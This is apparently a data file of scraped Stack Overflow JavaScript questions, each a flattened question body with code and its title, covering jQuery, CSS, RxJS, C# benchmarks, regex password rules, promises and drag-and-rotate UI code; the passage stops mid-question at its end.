47.597131 , content , options = popupOptions ( closeButton = FALSE ) ) leaflet ( ) % > % addTiles ( ) % > % addMarkers ( -122.327298 , 47.597131 , popup = content , options = popupOptions ( closeButton = FALSE ) ) df < - data.frame ( url = c ( `` https : //stackoverflow.com/questions/tagged/python '' , `` https : //stackoverflow.com/questions/tagged/r '' ) ) , lng = c ( -122.327298 , -122.337298 ) , lat = c ( 47.597131,47.587131 ) )",Clicking a leaflet marker takes you to URL "JS : Each time I call .subscribe ( ) on an Observable , the processing on each value is restarted ( in the example below , the map function will be called twice for each value ) .Is there any way to have subscribe give you the processed value without rerunning the whole processing functions ? var rx = require ( 'rx-lite ' ) ; var _ = require ( 'lodash ' ) ; var obs = rx.Observable.fromArray ( [ 1 , 2 ] ) ; var processing = obs.map ( function ( number ) { // This function is called twice console.log ( 'call for ' + number ) ; return number + 1 ; } ) ; processing.subscribe ( _.noop , _.noop ) ; processing.subscribe ( _.noop , _.noop ) ;",Why are Observable operations called once ( duplicated ) for every subscriber ? JS : I am using this jquery Count up ( http : //demo.tutorialzine.com/2012/09/count-up-jquery/ ) and i am trying to make an alert when the counter reach 00:01:05:40 ( one hour - 5 minutes and 40 seconds ) i am not an expert and so far i tried the code bellow : Source code : http : //tutorialzine.com/2012/09/count-up-jquery/Thanks < script > $ ( document ) .ready ( function ( ) { var mytime = $ ( ' # countdown ' ) .html ( ) ; if ( mytime == `` 00:01:05:40 '' ) { alert ( 'Done ' ) ; } } ) ; < /script >,alert when counter reach specific time "JS : When I click on the anchor tag , the image shifts from div # left to div # right . I want the image to be copied . Is this the default behaviour of prepend ( ) ? How can I avoid this problem ? The image is just a placeholder for a big div with many children.The jQuery is : < ! DOCTYPE html > < html xmlns= '' http : //www.w3.org/1999/xhtml '' > < head > < title > < /title > < script src= '' Scripts/jquery-2.1.0.min.js '' > < /script > < script type= '' text/javascript '' src= '' Scripts/JavaScript.js '' > < /script > < /head > < body > < div id= '' left '' style= '' float : left '' > < img src= '' Images/Rooms/K1.jpg '' alt= '' Alternate Text '' height= '' 200 '' width= '' 200 '' / > < /div > < div id= '' right '' style= '' float : right '' > < /div > < a id= '' addImageToRight '' href= '' # '' > Add Image toRight < /a > < /body > < /html > $ ( document ) .ready ( function ( ) { $ ( `` # addImageToRight '' ) .click ( function ( ) { var $ image = $ ( `` # left img '' ) ; var imgCopy = $ image ; $ ( `` div # right '' ) .prepend ( imgCopy ) ; } ) ; } ) ;",How can I prevent jQuery prepend ( ) removing the HTML ? "JS : I have discovered css shapes and I 'm interested is there a way to make border ( solid , dotted , dashed ) for them ( shapes ) ? The first thing that I 've though about was to made another shape and put it on the background by z-index ( http : //jsfiddle.net/gYKSd/ ) , but it makes an effect only as solid border.HTML : CSS : < div class= '' triangle '' > < /div > < div class= '' background '' > < /div > .triangle { position : absolute ; top : 14px ; left : 10px ; height : 0px ; width : 0px ; border-right : 50px solid transparent ; border-left : 50px solid transparent ; border-bottom : 100px solid red ; z-index : 0 ; } .background { position : absolute ; top : 0 ; left : 0 ; height : 0px ; width : 0px ; border-right : 60px dotted transparent ; border-left : 60px dotted transparent ; border-bottom : 120px dotted gray ; z-index : -1 ; }",Border for css shapes "JS : I 'm programming an apartment & house rental site . Since there are never more than 10'000 properties for rent , it 's no problem to load em all into memory . Now , when a users want to search for a specific one , he can define very much filters for price , room , escalator etc.Every property has a very different set of attributes . One property may have an attribute that another property does not have . So , creating a Class in C # that has all the attributes , while only a few of them are used is not a good idea to me . I decided to use a Dictionary instead.A few benchmarks later , I found out , that the Dictionary is about 40 times slower in accessing attributes as a Class . I also did a benchmark for node.js , which just used objects as dictionarys . This was absolutely interesting because the exact same program in node.js performed even better than the C # example with a native class.In fact I got the following results : C # Dictionary : ~820msC # Class : ~26msNode.js Object : ~24msEach benchmark searched 1'000'000 objects by the same criterias.I know that the Node.js version is that fast because of the V8 engine by Google . Do you know if there is a C # class that uses similar techniques as the V8 engine and gets almost the same performance ? C # Dictionary BenchmarkC # Class BenchmarkNode.js Benchmark namespace Test { class Program { static void Main ( string [ ] args ) { PropertyList p = new PropertyList ( ) ; long startTime = DateTime.Now.Ticks ; for ( int i = 0 ; i < 100 ; i++ ) { p.Search ( ) ; } Console.WriteLine ( ( DateTime.Now.Ticks - startTime ) / 10000 ) ; } } class PropertyList { List < Property > properties = new List < Property > ( ) ; public PropertyList ( ) { for ( int i = 0 ; i < 10000 ; i++ ) { Property p = new Property ( ) ; p [ `` Strasse '' ] = `` Oberdorfstrasse '' ; p [ `` StrassenNr '' ] = 6 ; p [ `` Plz '' ] = 6277 ; p [ `` Ort '' ] = `` Lieli '' ; p [ `` Preis '' ] = 600 ; p [ `` Fläche '' ] = 70 ; p [ `` Zimmer '' ] = 2 ; p [ `` Lift '' ] = true ; p [ `` Verfügbarkeit '' ] = 7 ; p [ `` Keller '' ] = false ; p [ `` Neubau '' ] = true ; p [ `` ÖV '' ] = false ; properties.Add ( p ) ; } } public void Search ( ) { int found = 0 ; for ( int i = 0 ; i < properties.Count ; i++ ) { Property p = properties [ i ] ; if ( ( string ) p [ `` Strasse '' ] == `` Oberdorfstrasse '' & & ( int ) p [ `` StrassenNr '' ] == 6 & & ( int ) p [ `` Plz '' ] == 6277 & & ( string ) p [ `` Ort '' ] == `` Lieli '' & & ( int ) p [ `` Preis '' ] > = 500 & & ( int ) p [ `` Preis '' ] < = 1000 & & ( int ) p [ `` Fläche '' ] > = 10 & & ( int ) p [ `` Fläche '' ] < = 200 & & ( int ) p [ `` Zimmer '' ] == 2 & & ( bool ) p [ `` Lift '' ] == true & & ( int ) p [ `` Verfügbarkeit '' ] > = 2 & & ( int ) p [ `` Verfügbarkeit '' ] < = 8 & & ( bool ) p [ `` Keller '' ] == false & & ( bool ) p [ `` Neubau '' ] == true & & ( bool ) p [ `` ÖV '' ] == true ) { found++ ; } } } } class Property { private Dictionary < string , object > values = new Dictionary < string , object > ( ) ; public object this [ string key ] { get { return values [ key ] ; } set { values [ key ] = value ; } } } } namespace Test { class Program { static void Main ( string [ ] args ) { SpecificPropertyList p2 = new SpecificPropertyList ( ) ; long startTime2 = DateTime.Now.Ticks ; for ( int i = 0 ; i < 100 ; i++ ) { p2.Search ( ) ; } Console.WriteLine ( ( DateTime.Now.Ticks - startTime2 ) / 10000 ) ; } } class SpecificPropertyList { List < SpecificProperty > properties = new List < SpecificProperty > ( ) ; public SpecificPropertyList ( ) { for ( int i = 0 ; i < 10000 ; i++ ) { SpecificProperty p = new SpecificProperty ( ) ; p.Strasse = `` Oberdorfstrasse '' ; p.StrassenNr = 6 ; p.Plz = 6277 ; p.Ort = `` Lieli '' ; p.Preis = 600 ; p.Fläche = 70 ; p.Zimmer = 2 ; p.Lift = true ; p.Verfügbarkeit = 7 ; p.Keller = false ; p.Neubau = true ; p.ÖV = false ; properties.Add ( p ) ; } } public void Search ( ) { int found = 0 ; for ( int i = 0 ; i < properties.Count ; i++ ) { SpecificProperty p = properties [ i ] ; if ( p.Strasse == `` Oberdorfstrasse '' & & p.StrassenNr == 6 & & p.Plz == 6277 & & p.Ort == `` Lieli '' & & p.Preis > = 500 & & p.Preis < = 1000 & & p.Fläche > = 10 & & p.Fläche < = 200 & & p.Zimmer == 2 & & p.Lift == true & & p.Verfügbarkeit > = 2 & & p.Verfügbarkeit < = 8 & & p.Keller == false & & p.Neubau == true & & p.ÖV == true ) { found++ ; } } } } class SpecificProperty { public string Strasse ; public int StrassenNr ; public int Plz ; public string Ort ; public int Preis ; public int Fläche ; public int Zimmer ; public bool Lift ; public int Verfügbarkeit ; public bool Keller ; public bool Neubau ; public bool ÖV ; } } var properties = [ ] ; for ( var i = 0 ; i < 10000 ; i++ ) { var p = { Strasse : '' Oberdorfstrasse '' , StrassenNr:6 , Plz:6277 , Ort : '' Lieli '' , Preis:600 , Fläche:70 , Zimmer:2 , Lift : true , Verfügbarkeit:7 , Keller : false , Neubau : true , ÖV : false } ; properties.push ( p ) ; } function search ( ) { var found = 0 ; for ( var i = 0 ; i < properties.length ; i++ ) { var p = properties [ i ] ; if ( p.Strasse == `` Oberdorfstrasse '' & & p.StrassenNr == 6 & & p.Plz == 6277 & & p.Ort == `` Lieli '' & & p.Preis > = 500 & & p.Preis < = 1000 & & p.Fläche > = 10 & & p.Fläche < = 100 & & p.Zimmer == 2 & & p.Verfügbarkeit > = 2 & & p.Verfügbarkeit < = 8 & & p.Keller == false & & p.Neubau == true & & p.ÖV == false ) { found++ ; } } } var startTime = new Date ( ) .getTime ( ) ; for ( var i = 0 ; i < 100 ; i++ ) { search ( ) ; } console.log ( new Date ( ) .getTime ( ) -startTime ) ;",V8-like Hashtable for C # ? "JS : I have customize bootstrap4 slider that is working but there is not smoothness when i click on next and prev buttons that is slider suddenly instead of smoothly . How can i do this do you have any idea for fix this ? Slider given below : -Answer will be appreciated , Thanks ! $ ( '.carousel-item ' , '.multi-item-carousel ' ) .each ( function ( ) { var next = $ ( this ) .next ( ) ; if ( ! next.length ) { next = $ ( this ) .siblings ( ' : first ' ) ; } next.children ( ' : first-child ' ) .clone ( ) .appendTo ( $ ( this ) ) ; } ) .each ( function ( ) { var prev = $ ( this ) .prev ( ) ; if ( ! prev.length ) { prev = $ ( this ) .siblings ( ' : last ' ) ; } prev.children ( ' : nth-last-child ( 2 ) ' ) .clone ( ) .prependTo ( $ ( this ) ) ; } ) ; .multi-item-carousel { overflow : hidden ; } .multi-item-carousel .carousel-indicators { margin-right : 25 % ; margin-left : 25 % ; } .multi-item-carousel .carousel-control-prev , .multi-item-carousel .carousel-control-next { /* background : rgba ( 255 , 255 , 255 , 0.3 ) ; */ width : 25 % ; z-index : 11 ; /* .carousel-caption has z-index 10 */ } .multi-item-carousel .carousel-inner { width : 240 % ; left : -70 % ; } .multi-item-carousel .carousel-item-next : not ( .carousel-item-left ) , .multi-item-carousel .carousel-item-right.active { -webkit-transform : translate3d ( 33 % , 0 , 0 ) ; transform : translate3d ( 33 % , 0 , 0 ) ; } .multi-item-carousel .carousel-item-prev : not ( .carousel-item-right ) , .multi-item-carousel .carousel-item-left.active { -webkit-transform : translate3d ( -33 % , 0 , 0 ) ; transform : translate3d ( -33 % , 0 , 0 ) ; } .multi-item-carousel .item__third { float : left ; position : relative ; width : 33.33333333 % ; /* padding : 0px 10px ; */ transition : all 1s ; transform : scale ( 1 ) ; } .multi-item-carousel .carousel-item .item__third : first-child img , .multi-item-carousel .carousel-item .item__third : last-child img { transform : scale ( 0.9 ) ; transition : all 1s ; } .multi-item-carousel .carousel-item .item__third : first-child img { margin-left : 40px ; } .multi-item-carousel .carousel-item .item__third : last-child img { margin-left : -40px ; } .multi-item-carousel .controls img { width : 50px ; } .multi-item-carousel .controls .carousel-control-prev , .multi-item-carousel .controls .carousel-control-next { opacity : 1 ! important ; } .multi-item-carousel .controls .carousel-control-prev img { margin-left : -150px ; } .multi-item-carousel .controls .carousel-control-next img { margin-right : -150px ; } < link rel= '' stylesheet '' href= '' https : //maxcdn.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css '' > < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js '' > < /script > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js '' > < /script > < script src= '' https : //maxcdn.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js '' > < /script > < div id= '' demo '' class= '' carousel slide multi-item-carousel mt-5 '' data-ride= '' carousel '' > < ! -- Indicators -- > < ul class= '' carousel-indicators '' > < li data-target= '' # demo '' data-slide-to= '' 0 '' class= '' active '' > < /li > < li data-target= '' # demo '' data-slide-to= '' 1 '' > < /li > < li data-target= '' # demo '' data-slide-to= '' 2 '' > < /li > < /ul > < ! -- The slideshow -- > < div class= '' carousel-inner '' > < div class= '' carousel-item active '' > < div class= '' item__third '' > < img src= '' https : //i.stack.imgur.com/q0Kk7.png '' alt= '' '' class= '' d-block w-100 '' > < /div > < /div > < div class= '' carousel-item '' > < div class= '' item__third '' > < img src= '' https : //i.stack.imgur.com/QzFbS.png '' alt= '' '' class= '' d-block w-100 '' > < /div > < /div > < div class= '' carousel-item '' > < div class= '' item__third '' > < img src= '' https : //i.stack.imgur.com/8R8r3.png '' alt= '' '' class= '' d-block w-100 '' > < /div > < /div > < /div > < ! -- Left and right controls -- > < a class= '' carousel-control-prev '' href= '' # demo '' data-slide= '' prev '' > < span class= '' carousel-control-prev-icon '' > < /span > < /a > < a class= '' carousel-control-next '' href= '' # demo '' data-slide= '' next '' > < span class= '' carousel-control-next-icon '' > < /span > < /a > < /div >",Why bootstrap 4 slider is not working smoothly ? "JS : I have three files : and I want to minimize them.Here is my gruntfile : Problem is there is only one file named selectize.min.cssI do n't want it to minimize only one file . How can I minimize all three of them ? 'selectize.default.css '' selectize.pagination.css '' selectize.patch.css ' cssmin : { min : { files : [ { expand : true , cwd : 'css ' , src : [ 'selectize.default.css ' , 'selectize.pagination.css ' , 'selectize.patch.css ' , ' ! *.min.css ' ] , dest : 'release/css ' , ext : '.min.css ' } ] } }",How to disable grunt-contrib-cssmin combine ? "JS : I have some JavaScript : However , I 'd like to only issue surveyBusy.show ( ) ; if $ .getJSON takes more than n number of milliseconds . You get a flicker otherwise . Is there a callback on the getJSON api that can do this ? I see nothing in the documentation . surveyBusy.show ( ) ; $ .getJSON ( apiUrl + '/ ' + id ) .done ( function ( data ) { ... surveyBusy.hide ( ) ; } ) .fail ( function ( jqXHR , textStatus , err ) { ... surveyBusy.hide ( ) ; } ) ;",Show element only if getJSON takes more than n milliseconds ? "JS : I want a single Regex expression to match 2 groups of lowercase , uppercase , numbers or special characters . Length needs to also be grater than 7.I currently have this expressionIt , however , forces the string to have lowercase and uppercase and digit or special character.I currently have this implemented using 4 different regex expressions that I interrogate with some C # code.I plan to reuse the same expression in JavaScript.This is sample console app that shows the difference between 2 approaches . ^ ( ? =.* [ ^a-zA-Z ] ) ( ? =.* [ a-z ] ) ( ? =.* [ A-Z ] ) . { 8 , } $ class Program { private static readonly Regex [ ] Regexs = new [ ] { new Regex ( `` [ a-z ] '' , RegexOptions.Compiled ) , //Lowercase Letter new Regex ( `` [ A-Z ] '' , RegexOptions.Compiled ) , // Uppercase Letter new Regex ( @ '' \d '' , RegexOptions.Compiled ) , // Numeric new Regex ( @ '' [ ^a-zA-Z\d\s : ] '' , RegexOptions.Compiled ) // Non AlphaNumeric } ; static void Main ( string [ ] args ) { Regex expression = new Regex ( @ '' ^ ( ? =.* [ ^a-zA-Z ] ) ( ? =.* [ a-z ] ) ( ? =.* [ A-Z ] ) . { 8 , } $ '' , RegexOptions.ECMAScript & RegexOptions.Compiled ) ; string [ ] testCases = new [ ] { `` P @ ssword '' , `` Password '' , `` P2ssword '' , `` xpo123 '' , `` xpo123 ! `` , `` xpo123 ! 123 @ @ '' , `` Myxpo123 ! 123 @ @ '' , `` Something_Really_Complex123 ! # 43 @ 2*333 '' } ; Console.WriteLine ( `` { 0 } \t { 1 } \t '' , `` Single '' , `` C # Hack '' ) ; Console.WriteLine ( `` '' ) ; foreach ( var testCase in testCases ) { Console.WriteLine ( `` { 0 } \t { 2 } \t : { 1 } '' , expression.IsMatch ( testCase ) , testCase , ( testCase.Length > = 8 & & Regexs.Count ( x = > x.IsMatch ( testCase ) ) > = 2 ) ) ; } Console.ReadKey ( ) ; } } Result Proper Test String -- -- -- - -- -- -- - -- -- -- -- -- -- True True : P @ sswordFalse True : PasswordTrue True : P2sswordFalse False : xpo123False False : xpo123 ! False True : xpo123 ! 123 @ @ True True : Myxpo123 ! 123 @ @ True True : Something_Really_Complex123 ! # 43 @ 2*333",Regex match 2 out of 4 groups "JS : I came across a problem that made me confused . We all know that a couple of browsers window ( tabs ) which have the same origin can share JavaScript resources . So , I made a parent window open a child window via window.open . The child window calls a global function in parent window via window.opener.functionName . Take a look at two snippets below : parent.htmlchild.htmlThe problem is : You can find the console.log result in parent.html window , but that exception thrown in parent window will weirdly occur in child.html window . It makes me confused , I need that exception in parent window because of BDD Test . How can I make it happen ? Sorry for my poor English , feel free to correct my grammar mistakes.========================Update======================I have found a solution to this question , using HTML5 feature postMessage . But I am still curious why it happen . What makes the exception escape from parent window to child window ? Any inspiration is appreciated . < ! DOCTYPE html > < html > < head > < title > < /title > < /head > < body > < h1 > Parent < /h1 > < /body > < script type= '' text/javascript '' > function sayHi ( child ) { console.log ( `` Before throwing an error.. '' ) ; throw new Error ( 'Some error ' ) ; } window.open ( 'child.html ' ) < /script > < /html > < ! DOCTYPE html > < html > < head > < title > < /title > < /head > < body > < h1 > Child < /h1 > < /body > < script type= '' text/javascript '' > window.opener.sayHi ( window ) ; < /script > < /html >",JavaScript : Exception thrown in parent window occurs in child window "JS : This is the beginning of the code used in `` Javascript : The Definitive Guide '' to create a 'Set ' Class . I 've tried to rationalize the necessity of the apply ( ) function in the constructor but can not figure it out for the life of me.if the add ( ) function is already a method called by 'this ' then what purpose or use is the core apply ( ) function fulfilling . Thanks in advance to anyone who attempts to explain this to mehttp : //jsfiddle.net/Marlin/Ydwgv/ - Full Example from Javascript : The Definitive Guide function Set ( ) { // This is the constructor this.values = { } ; this.n = 0 ; this.add.apply ( this , arguments ) ; // All arguments are values to add } // Add each of the arguments to the set.Set.prototype.add = function ( ) { /* Code to add properties to the object 's values property */ return this ; } ; this.add.apply ( this , arguments ) ;",Why is the apply ( ) function needed in the constructor "JS : I want to upload files asynchronously using jQuery . This is my HTML : And here my JavaScript code : I am getting file names only instead of actual file which I have uploadedI am using theThis Plugin to upload files . < input type= '' file '' id= '' f '' name= '' f '' / > < input id= '' upload '' type= '' button '' value= '' Upload '' / > $ ( document ) .ready ( function ( ) { $ ( `` # upload '' ) .click ( function ( ) { var filename = $ ( `` # f '' ) .val ( ) ; $ .ajax ( { type : `` POST '' , url : `` addFile.do '' , enctype : 'multipart/form-data ' , data : { file : filename } , success : function ( ) { alert ( `` All Files Have Been Uploaded `` ) ; } } ) ; } ) ; } ) ;",Upload operation of file asynchronously using jquery "JS : I 've been trying to create something like this in Javascript : As you can see , the container can be dragged , rotated and resized . Most of the things work fine but the resizing of container when it is rotated produce weird output.I expect this to happen : Instead I get this : Here 's the full code : https : //jsfiddle.net/c0krownz/or , var box = document.getElementById ( `` box '' ) ; var boxWrapper = document.getElementById ( `` box-wrapper '' ) ; var initX , initY , mousePressX , mousePressY , initW , initH , initRotate ; function repositionElement ( x , y ) { boxWrapper.style.left = x ; boxWrapper.style.top = y ; } function resize ( w , h ) { box.style.width = w + 'px ' ; box.style.height = h + 'px ' ; boxWrapper.style.width = w ; boxWrapper.style.height = h ; } function getCurrentRotation ( el ) { var st = window.getComputedStyle ( el , null ) ; var tm = st.getPropertyValue ( `` -webkit-transform '' ) || st.getPropertyValue ( `` -moz-transform '' ) || st.getPropertyValue ( `` -ms-transform '' ) || st.getPropertyValue ( `` -o-transform '' ) || st.getPropertyValue ( `` transform '' ) `` none '' ; if ( tm ! = `` none '' ) { var values = tm.split ( ' ( ' ) [ 1 ] .split ( ' ) ' ) [ 0 ] .split ( ' , ' ) ; var angle = Math.round ( Math.atan2 ( values [ 1 ] , values [ 0 ] ) * ( 180 / Math.PI ) ) ; return ( angle < 0 ? angle + 360 : angle ) ; } return 0 ; } function rotateBox ( deg ) { boxWrapper.style.transform = ` rotate ( $ { deg } deg ) ` ; } // drag supportboxWrapper.addEventListener ( 'mousedown ' , function ( event ) { if ( event.target.className.indexOf ( `` dot '' ) > -1 ) { return ; } initX = this.offsetLeft ; initY = this.offsetTop ; mousePressX = event.clientX ; mousePressY = event.clientY ; function eventMoveHandler ( event ) { repositionElement ( initX + ( event.clientX - mousePressX ) + 'px ' , initY + ( event.clientY - mousePressY ) + 'px ' ) ; } boxWrapper.addEventListener ( 'mousemove ' , eventMoveHandler , false ) ; window.addEventListener ( 'mouseup ' , function ( ) { boxWrapper.removeEventListener ( 'mousemove ' , eventMoveHandler , false ) ; } , false ) ; } , false ) ; // done drag support// handle resizevar rightMid = document.getElementById ( `` right-mid '' ) ; var leftMid = document.getElementById ( `` left-mid '' ) ; var topMid = document.getElementById ( `` top-mid '' ) ; var bottomMid = document.getElementById ( `` bottom-mid '' ) ; var leftTop = document.getElementById ( `` left-top '' ) ; var rightTop = document.getElementById ( `` right-top '' ) ; var rightBottom = document.getElementById ( `` right-bottom '' ) ; var leftBottom = document.getElementById ( `` left-bottom '' ) ; function resizeHandler ( event , left = false , top = false , xResize = false , yResize = false ) { initX = boxWrapper.offsetLeft ; initY = boxWrapper.offsetTop ; mousePressX = event.clientX ; mousePressY = event.clientY ; initW = box.offsetWidth ; initH = box.offsetHeight ; initRotate = getCurrentRotation ( boxWrapper ) ; function eventMoveHandler ( event ) { var wDiff = event.clientX - mousePressX ; var hDiff = event.clientY - mousePressY ; var newW = initW , newH = initH , newX = initX , newY = initY ; if ( xResize ) { if ( left ) { newW = initW - wDiff ; newX = initX + wDiff ; } else { newW = initW + wDiff ; } } if ( yResize ) { if ( top ) { newH = initH - hDiff ; newY = initY + hDiff ; } else { newH = initH + hDiff ; } } resize ( newW , newH ) ; repositionElement ( newX , newY ) ; } window.addEventListener ( 'mousemove ' , eventMoveHandler , false ) ; window.addEventListener ( 'mouseup ' , function ( ) { window.removeEventListener ( 'mousemove ' , eventMoveHandler , false ) ; } , false ) ; } rightMid.addEventListener ( 'mousedown ' , e = > resizeHandler ( e , false , false , true , false ) ) ; leftMid.addEventListener ( 'mousedown ' , e = > resizeHandler ( e , true , false , true , false ) ) ; topMid.addEventListener ( 'mousedown ' , e = > resizeHandler ( e , false , true , false , true ) ) ; bottomMid.addEventListener ( 'mousedown ' , e = > resizeHandler ( e , false , false , false , true ) ) ; leftTop.addEventListener ( 'mousedown ' , e = > resizeHandler ( e , true , true , true , true ) ) ; rightTop.addEventListener ( 'mousedown ' , e = > resizeHandler ( e , false , true , true , true ) ) ; rightBottom.addEventListener ( 'mousedown ' , e = > resizeHandler ( e , false , false , true , true ) ) ; leftBottom.addEventListener ( 'mousedown ' , e = > resizeHandler ( e , true , false , true , true ) ) ; // handle rotationvar rotate = document.getElementById ( `` rotate '' ) ; rotate.addEventListener ( 'mousedown ' , function ( event ) { // if ( event.target.className.indexOf ( `` dot '' ) > -1 ) { // return ; // } initX = this.offsetLeft ; initY = this.offsetTop ; mousePressX = event.clientX ; mousePressY = event.clientY ; var arrow = document.querySelector ( `` # box '' ) ; var arrowRects = arrow.getBoundingClientRect ( ) ; var arrowX = arrowRects.left + arrowRects.width / 2 ; var arrowY = arrowRects.top + arrowRects.height / 2 ; function eventMoveHandler ( event ) { var angle = Math.atan2 ( event.clientY - arrowY , event.clientX - arrowX ) + Math.PI / 2 ; rotateBox ( angle * 180 / Math.PI ) ; } window.addEventListener ( 'mousemove ' , eventMoveHandler , false ) ; window.addEventListener ( 'mouseup ' , function ( ) { window.removeEventListener ( 'mousemove ' , eventMoveHandler , false ) ; } , false ) ; } , false ) ; resize ( 300 , 200 ) ; repositionElement ( 100 , 100 ) ; .box { background-color : # 00BCD4 ; position : relative ; user-select : none ; } .box-wrapper { position : absolute ; transform-origin : center center ; user-select : none ; } .dot { height : 10px ; width : 10px ; background-color : # 1E88E5 ; position : absolute ; border-radius : 100px ; border : 1px solid white ; user-select : none ; } .dot : hover { background-color : # 0D47A1 ; } .dot.left-top { top : -5px ; left : -5px ; /* cursor : nw-resize ; */ } .dot.left-bottom { bottom : -5px ; left : -5px ; /* cursor : sw-resize ; */ } .dot.right-top { top : -5px ; right : -5px ; /* cursor : ne-resize ; */ } .dot.right-bottom { bottom : -5px ; right : -5px ; /* cursor : se-resize ; */ } .dot.top-mid { top : -5px ; left : calc ( 50 % - 5px ) ; /* cursor : n-resize ; */ } .dot.left-mid { left : -5px ; top : calc ( 50 % - 5px ) ; /* cursor : w-resize ; */ } .dot.right-mid { right : -5px ; top : calc ( 50 % - 5px ) ; /* cursor : e-resize ; */ } .dot.bottom-mid { bottom : -5px ; left : calc ( 50 % - 5px ) ; /* cursor : s-resize ; */ } .dot.rotate { top : -30px ; left : calc ( 50 % - 5px ) ; cursor : url ( 'https : //findicons.com/files/icons/1620/crystal_project/16/rotate_ccw.png ' ) , auto ; } .rotate-link { position : absolute ; width : 1px ; height : 15px ; background-color : # 1E88E5 ; top : -20px ; left : calc ( 50 % + 0.5px ) ; z-index : -1 ; } < div class= '' box-wrapper '' id= '' box-wrapper '' > < div class= '' box '' id= '' box '' > < div class= '' dot rotate '' id= '' rotate '' > < /div > < div class= '' dot left-top '' id= '' left-top '' > < /div > < div class= '' dot left-bottom '' id= '' left-bottom '' > < /div > < div class= '' dot top-mid '' id= '' top-mid '' > < /div > < div class= '' dot bottom-mid '' id= '' bottom-mid '' > < /div > < div class= '' dot left-mid '' id= '' left-mid '' > < /div > < div class= '' dot right-mid '' id= '' right-mid '' > < /div > < div class= '' dot right-bottom '' id= '' right-bottom '' > < /div > < div class= '' dot right-top '' id= '' right-top '' > < /div > < div class= '' rotate-link '' > < /div > < /div > < /div >",Creating a resizable/draggable/rotate view in javascript "JS : This function should be tail call optimized.To my knowledge , current browsers ( Chrome , even tried it on Canary ) should optimize it yet I get an error for this run : The error : VM369:1 Uncaught RangeError : Maximum call stack size exceededOr did I get something wrong ? function die ( x , s ) { return x === 0 ? s : die ( x-1 , s+1 ) ; } die ( 100000 , 0 ) ;",Why does this tail call optimized function fail with a maximum call stack size exceeded error ? JS : I just ca n't seem to wrap my head around chaining queries with promises . What 's confusing me the most is the .then ( function ( doSomething ) part.What am I supposed to put in the function ( doSomething ) ? And what does it do ? Could someone chain these queries for me without using Promise.all but instead using .then ( ) ? So I can learn from this SELECT * FROM books where book_id = $ 1SELECT * FROM username where username = $ 2SELECT * FROM saved where saved_id = $ 3,Confused on how to chain queries using promises using .then ( ) "JS : I have been researching and learning more and more about HTML 5 , JQuery , CSS3 , and the power of hiding and disabling certain elements when JavaScript is or is not disabled . ( < noscript > tags ) My questions are , How do I make a hyperlink ONLY work if JavaScript is DISABLED ? If JavaScript is enabled , how do I make sure that my drop-down login menu displays INSTEAD of following the hyperlink ? HTMLSimple enough , I hide my cart area and change the login link if the JS is disabled.JQueryThis makes the login-box slide down ( just to avoid taking people to a login page unless they have to ) What I would like instead of having that < noscript > tag and the content duplicated , just a way for the hyperlink to only work when there is no JavaScript.I have already set the page up to let users know when their JS is disabled ( like Stack Overflow has done ) Any questions about my question ( hopefully I was n't vague ? ) ask ! < ! -- If JavaScript is disabled it will make the login link take you to a login page instead of a drop-down box . -- > < noscript > < style > .login-form , .js-enabled { display : none ; } .cart { top : -80px ; } < /style > < div class= '' cart '' > < a href= '' # '' id= '' cart_img '' > < img src= '' img/bag.jpg '' alt= '' Check Cart '' onmouseover= '' this.src='img/bag-gold.jpg ' '' onmouseout= '' this.src='img/bag.jpg ' '' > < /a > < a href= '' # '' > Why HorseTack ? < /a > | < a href= '' # '' > About < /a > | < a href= '' # '' > Contact < /a > | < a href= '' http : //www.LOGINPAGELINK.com '' > Login < /a > < /div > < /noscript > < ! -- End JavaScript text -- > < div class= '' cart js-enabled '' > < a href= '' # '' id= '' cart_img '' > < img src= '' img/bag.jpg '' alt= '' Check Cart '' onmouseover= '' this.src='img/bag-gold.jpg ' '' onmouseout= '' this.src='img/bag.jpg ' '' > < /a > < a href= '' # '' > Why HorseTack ? < /a > | < a href= '' # '' > About < /a > | < a href= '' # '' > Contact < /a > | < a href= '' # '' class= '' login-box '' > Login < /a > < div class= '' login-form '' > < form class= '' login-frm '' > < label > < input type= '' text '' placeholder= '' Username '' > < /label > < label > < input type= '' password '' placeholder= '' Password '' > < /label > < br > < input type= '' submit '' value= '' Login '' > < br > < a href= '' # '' > New User ? < /a > < /form > < /div > < /div > // Login Box Pop-UpjQuery ( document ) .ready ( function ( ) { jQuery ( `` .login-form '' ) .hide ( ) ; //toggle the componenet with class msg_body jQuery ( `` .login-box '' ) .click ( function ( ) { jQuery ( this ) .next ( `` .login-form '' ) .slideToggle ( 500 ) ; } ) ; } ) ;",Making a hyperlink only work IF JavaScript is disabled ? "JS : I feel like I am overlooking something really simple here . I need another set of eyes . I 've spent much more time on this than I should . Take a look at this fiddle = > http : //jsfiddle.net/R8SxU/Why wo n't the Icon Update after adding more than one year ? I want the top one to always be a plus to symbolize adding a new year , and the remaining ones below to be a minus to remove . It works on the first one , but only the first one . I believe I have the correct selector as the function ( console out ) is activated correctly with each button.HTMLJquery < div > < label for= '' year-0 '' > Enter Year < /label > < input id= '' year-0 '' type= '' number '' title= '' Enter Year '' / > < button id= '' addYear '' title= '' Add Year '' > Year < /button > < /div > $ ( ' # addYear ' ) .button ( { icons : { primary : 'ui-icon-circle-plus ' } } ) .on ( 'click ' , function ( ) { var clone = $ ( 'div ' ) .first ( ) .clone ( true ) , peroid = $ ( 'div ' ) .length ; //update ID $ ( clone ) .find ( 'label ' ) .prop ( 'for ' , 'year- ' + peroid ) ; $ ( clone ) .find ( 'input ' ) .prop ( 'id ' , 'year- ' + peroid ) ; $ ( 'div : first button ' ) .prop ( 'id ' , '' ) .attr ( 'title ' , 'Remove Year ' ) .addClass ( 'removeYear ' ) ; $ ( clone ) .insertBefore ( 'div : first ' ) ; $ ( '.removeYear : first ' ) .off ( 'click ' ) .button ( { icons : { primary : 'ui-icon-circle-minus ' } } ) // Why Wont This Work .on ( 'click ' , function ( ) { console.log ( 'remove function ' ) ; } ) ; } ) ;",Jquery Cloning and Update Button Icon JS : for example ... Do you know how to avoid this ? Thank you ! if ( /* Condition */ ) { if ( /* Condition */ ) { if ( /* Condition */ ) { // Superb ! } else { // Error 3 } } else { // Error 2 } } else { // Error 1 },How to stop writing chain code ? "JS : Note before readingThis is not a duplicate of 